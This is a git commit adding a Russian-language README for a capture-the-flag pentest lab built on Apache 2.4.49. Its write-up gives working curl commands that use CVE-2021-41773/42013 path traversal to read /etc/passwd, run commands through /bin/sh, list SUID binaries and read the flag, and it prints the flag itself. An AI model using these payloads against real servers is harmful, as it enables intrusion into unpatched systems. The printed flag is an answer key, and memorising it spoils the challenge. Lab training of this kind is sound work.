Init. import
This commit is contained in:
46
CaplagOs-pentest/README.md
Normal file
46
CaplagOs-pentest/README.md
Normal file
@@ -0,0 +1,46 @@
|
||||
## Информация для участников
|
||||
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
|
||||
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
|
||||
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
|
||||
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.
|
||||
|
||||
## Решение (пошаговый райтап)
|
||||
### 1.
|
||||
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
|
||||
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.
|
||||
|
||||
### 2.
|
||||
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
|
||||
```bash
|
||||
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
```
|
||||
Успешное чтение `/etc/passwd` подтверждает уязвимость.
|
||||
|
||||
### 3.
|
||||
При включённом CGI можно вызвать системную `sh` напрямую:
|
||||
```bash
|
||||
curl --path-as-is -X POST \
|
||||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; id'
|
||||
```
|
||||
Команда выполняется от имени `www-data`.
|
||||
|
||||
### 4.
|
||||
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
|
||||
```bash
|
||||
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
|
||||
```
|
||||
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.
|
||||
|
||||
### 5.
|
||||
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
|
||||
```bash
|
||||
curl --path-as-is -X POST \
|
||||
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
|
||||
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
|
||||
```
|
||||
Ответом придёт содержимое флага.
|
||||
|
||||
## Флаг
|
||||
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`
|
||||
Reference in New Issue
Block a user